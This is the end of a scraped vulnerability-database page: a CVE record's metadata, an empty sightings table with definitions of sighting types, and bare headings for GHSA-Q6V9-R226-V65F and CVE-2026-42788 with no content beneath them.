    "dateReserved": "2026-04-29T18:06:33.251Z",
    "dateUpdated": "2026-05-04T17:11:35.207Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-Q6V9-R226-V65F

Summary

Details

PoC

Impact

CVE-2026-42788 (GCVE-0-2026-42788)

Tags

Sightings

Nomenclature